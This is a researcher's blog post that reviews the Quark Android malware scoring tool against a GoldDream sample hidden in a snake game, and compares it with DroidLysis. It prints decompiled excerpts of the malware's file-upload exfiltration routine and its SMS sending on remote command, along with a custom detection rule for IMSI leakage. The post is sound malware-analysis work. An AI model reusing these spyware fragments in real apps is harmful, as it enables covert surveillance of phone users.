Quark on an Android malware: how good was it? My opinion!

@cryptax
8 min readFeb 9, 2021

Quark is a recent Android reverse engineering tool I discovered through Pithus. It defines itself as a “malware scoring system”, although I personally rather use it for an overview of the sample.

Update Feb 11, 2020: I hadn’t understood correctly confidence percentage. So, I updated the part regarding a False Positive… which is not a False Positive actually! + Quark authors kindly invited me to join the Quark community.

Disclaimer: I am not an author of Quark. I am not a “Quark Expert” either, so I might have missed a few tricks. Since I wrote this article, the authors of Quark kindly asked me to join their community.

In this article, I am going to use it over a recent sample of Android/GoldDream (sha256 in the link), discovered around February 5, 2021. The malware is easy to reverse, and injected inside the classic game of snake. It spies phone calls and SMS messages, and exfiltrates them to a remote server. This precise sample is inoperative, crashes quickly after it is launched and unable to initiate its malicious task (but no doubt malware authors will fix this soon).

Overview with Quark

I assume you have already installed Quark’s engine (if not, it is really simple), and downloaded the default Quark rules (automatic during the first run). To get an overview of the sample, use option “-s” (summary): quark -s -a sample.apk -r ./quark-rules

Summary of Android/GoldDream with Quark v21.02.1

I find the classification “Moderate Risk” is a bit ironic 😏, for a sample which is absolutely malicious, but that’s (IMHO) the limits of any malware scoring system (sidenote: my personal experience with our former SherlockDroid is that all malware scoring systems assign higher risks to spyware or RAT because they trigger many malicious behaviors).

Then, there is a list of “crime” rules detected with a given percentage of confidence. It is possible to filter the output above a given percentage threshold with option -t. We’ll see however we can miss important behaviors that way.

Filtering rules with 100% confidence. Note the classification has evolved from Moderate Risk to High Risk. I assume this is a bug as the sample is the same.

Crime rules

This is a wonderful and innovative idea the authors of Quark had. A “crime” (i.e a malicious behavior of the sample) can be defined by a combination of permissions and calls to the Android API. This opens up for detection of more realistic situations. For example, querying the IMSI (subscriber identifier — private) is one thing, but if the malware doesn’t do anything with it, it is of no importance. Now, if the malware gets the IMSI and logs it to a file, or sends it over HTTP, this is completely different and dangerous. The combination is far more powerful.

Sorting out crime rules

Let’s go back to our sample and detail the list of 100% — confident crime it exposes. Who does those crimes? I use option “-c” for that.

Those 2 location crimes are committed by AdMob.

Many crimes are committed by advertising kits. While tracking geographic location is a privacy issue, possibly even an ethical issue, it is (generally) not malicious (unless you are personally being tracked e.g for political or religious reasons, but that’s not what AdMob does). So, we can rule those out.

The first crime suggests the malware processes commands from a server. We definitely have to look into the code. The second crime seems more benign.

AFAIK, Quark does not provide an easy way to find the rule corresponding to a crime, so I simple grep Quark rules for the label:

The corresponding rule is 00089.json

Rule 00089.json is the combination of calling URL.openConnection and HttpURLConnection.getInputStream. I decompile the code at com.sjhi.client.e;a. In this particular case, the crime rule misses the point: the method is uploading a file to a remote URL — this is what’s important — while actually it only reads the InputStream to handle a possible error from server’s end.

HttpURLConnection httpurlconnect = (HttpURLConnection)new URL(url).openConnection();
...
httpurlconnect.setRequestProperty("Content-Type", "multipart/form-data;boundary=******");
DataOutputStream dos = new DataOutputStream(httpurlconnect.getOutputStream());
dos.writeBytes("--******\r\n");
dos.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + filename.substring(filename.lastIndexOf("/") + 1) + "\"" + "\r\n");
dos.writeBytes("\r\n");
FileInputStream fis = new FileInputStream(filename);
byte[] file_contents = new byte[0x2000];
while(true) {
int nread = fis.read(file_contents);
if(nread == -1) {
fis.close();
dos.writeBytes("\r\n");
dos.writeBytes("--******--\r\n");
dos.flush();
InputStream is = httpurlconnect.getInputStream();
String resp = new BufferedReader(new InputStreamReader(is, "utf-8")).readLine();
System.out.println(resp);
dos.close();
is.close();
return;
}

dos.write(file_contents, 0, nread);
}

We move on to other detected rules.

Is Quark stuttering? Actually no, it detects 2 different crimes, represented by rules 51 and 63 in that case. Those rules detect a slightly different combination: Uri.parse()+Intent.setData() against Uri.parse()+Intent constructor.

The crime was not clear to me, so I inspected the corresponding code.

This is a combination of Uri.parse() + Intent.setData()

This clarifies it! This piece of code is calling a given phone number! A pity Quark rules can only integrate API calls and not arguments, because the intent android.intent.action.CALL is very important here. Similarly below, the intent android.intent.action.DELETE is used to delete an application based on its name.

The other combination, Uri.parse()+Intent constructor, corresponds to this code. This is used to delete a package.

We continue analysis. Several crimes are committed by zjReceiver. You won’t need much experience to guess the malware is implementing a call and SMS receiver.

First crime suggests onReceive implements a Boot receiver. Second crime says it monitors call status, so probably spies incoming/outgoing calls. Third crime says it gets SMS messages, very probably a SMS receiver.
Incoming SMS messages are stored in a file zjsms.txt. Outgoing calls are stored in zjphonecall.txt

Finally, let’s investigate the last series of 100% confident crimes.

Quark stutters 😆 I don’t know why it duplicates some crimes in this case. All crimes basically seem to mean the same thing: the malware is connecting to a remote server and getting information from it.

The decompiled code of zjService;e , below, shows a combination of URL.openConnection() + HttpURLConnection.getInputStream() (rule 89), URL.openConnection() + InputStream.read() (rule 94), HttpURLConnection.getInputStream() + InputStream.read() (rule 108). Those 3 rules are a bit redundant, to be honest (I don’t think we need more than 2).

This piece of code actually registers the victim on the remote server. It sends to the remote server the victim’s IMEI, IMSI, SIM serial number and phone number (line truncated). The server’s answer (v4 or response) is later stored in the malware’s shared preferences field “rt”. I am unsure what this means, perhaps a shortcut for “RegisTered”.

The malware sends SMS messages

As I briefly mentioned earlier, you will miss things if you only consider 100% confident rules. For example, I searched rules concerning sending SMS. Quark considers :

  • Get sender’s address and send SMS 60% (rule 70)
  • Send SMS 20%
  • Check if successfully sending out SMS 60%
The malware shows the combination of getOriginatingAddress (get phone number of incoming SMS) and sendTextMessage (send SMS). I am unsure why confidence is only 60% in this case.

Currently, I have no idea how to find out which code methods trigger this rule. I supposed option “-c” with threshold “-t 60” would work but it didn’t (is it a bug?). So, we have to do that manually — it isn’t difficult. I used DroidLysis, there is a rule for sendTextMessage and the report provides code location: google/com/sjhi/client/zjService. It is used in a single spot in that class:

SmsManager v0 = SmsManager.getDefault();
try {
v0.sendTextMessage(destnumber, null, body, null, null);
return "ok";
}

This method is called in a single case: when the malware processes an incoming command whose command identifier is 1.

Command id 1 has the victim send a SMS to a given phone number, with a given body. Both phone number and body are provided by the remote server.

The malware leaks the victim’s IMSI

Similarly, several IMSI quark rules are triggered like “Get the IMSI and network operator name”, “Get the ISO country code and IMSI” (I don’t see the point in those two combinations), or more interesting “Write the IMSI number into a file”. I search which part of the code gets the IMSI: again in google/com/sjhi/client/zjService

The IMSI — and other data — is retrieved in a function I renamed for clarity.

With my decompiler, I search where zjService.imsi is used.

Cross references for the IMSI field of zjService

In a certain way, we are lucky, because the IMSI is only used in 3 places:

  1. Initialized in the zjService constructor
  2. In the registration method. See above in a previous paragraph, I mentioned the IMSI is being sent by HTTP to the remote server
  3. Retrieved in the method I renamed as getPhoneInfos. This is writing the IMSI, not reading it.

So, where is the IMSI written to a file??? Nowhere.

Edit Feb 11, 2021. At first, I basically classified this as a False Positive, but Quark authors clarified the confidence percentage (see issue) and now things are clear. 80% actually precisely means that somewhere in the code we have getSubscriberId() and later FileOutputStream.write() but that we are not writing the IMSI (otherwise, confidence would be 100%). So, this is not a False Positive, but a bad understanding of confidence from me.

Creating our own IMSI rule

Earlier I however said the IMSI is sent over HTTP. There is no rule (yet) for that, so I can add my own. This will be the sequence of getSubscriberId() + URL.openConnection(). Note however that, to my understanding, this rule can generate False Positives, where the combination is called, but it’s not the IMSI that is sent over the HTTP connection.

{
“crime” : “Send IMSI over Internet”,
“x1_permission”: [“android.permission.INTERNET”],
“x2n3n4_comb”: [
{
“class”: “Landroid/telephony/TelephonyManager;”,
“method”: “getSubscriberId”,
“descriptor”: “()Ljava/lang/String;”
},
{
“class” : “Ljava/net/URL;”,
“method” : “openConnection”,
“descriptor” : “()Ljava/net/URLConnection;”
}
],
“yscore”: 1,
“label”: [“phone”]
}

This rule works and gets detected with 100% confidence.

Those are the rules I personally added. The first rule actually detects the malware is uploading a file. The second rule is to detect packers, but this sample is not packed explaining the low confidence. I also created a rule to detect the fact that the malware gets data from HTTP (phone number and body) and sends a SMS. And finally two rules showing IMSI and phone number leak over Internet. Again, to my understanding, as Quark does not taint data, the rules will generate False Positives in some cases.

Summary

  • All bugs have been reported to Quark authors, and they have been very reactive, already starting to fix some 😃
  • I have shared my rules, for Quark authors to add them to their Quark rules repository.
  • All rules don’t have the same importance. IMHO, querying the IMEI number is not an important rule for malware. What’s important is what you do with that IMEI. Unfortunately, AFAIK, Quark is unable to taint and follow values. (to be confirmed).
  • Who triggers a given rule is important information: crimes which concern legitimate ad kits, stats SDK, crashlytics etc can be pruned.
  • Do not consider only 100% confidence rules, or you’ll miss important malicious behavior
  • Writing rules is quite easy, but I’d love to be able to specify given arguments for some methods. For example, is a given intent created with android.intent.action.CALL?
Red means Quark did a good job at identifying a malicious behavior. Orange means Quark helped, but did not do perfect. Green means Quark reported something which is not interesting in this case. This is only my personal opinion + it depends on the sample.

Comparing Quark and DroidLysis

Quark and DroidLysis are both excellent tools for an overview of a sample. I’ll compare them. I’ll try to be as fair as possible, knowing that I am the author of DroidLysis 😏.

Quick comparison between Quark and DroidLysis to process malicious samples. There would be more to say. For example, Quark aims at providing a threat score. DroidLysis does not do that at all. Reciprocally, DroidLysis provides an output directory with disassembled or decompiled code. Table updated on Feb 11 regarding False Positives.

Quark and DroidLysis see reality from a different angle. So, which one should you use: Quark or DroidLysis? The answer is (nearly) always the same when it comes to tools: use the one you are most familiar with. Even if both Quark and DroidLysis have drawbacks, with experience and second sense, you can overcome them. I have used DroidLysis for years. The detection rules are simple, and merely at reading the report, I get a feeling about the sample “hmm, this looks like a packed botnet” etc. It is certainly the same for Quark.

— cryptax

--

--

@cryptax

Mobile and IoT malware researcher. The postings on this account are solely my own opinion and do not represent my employer.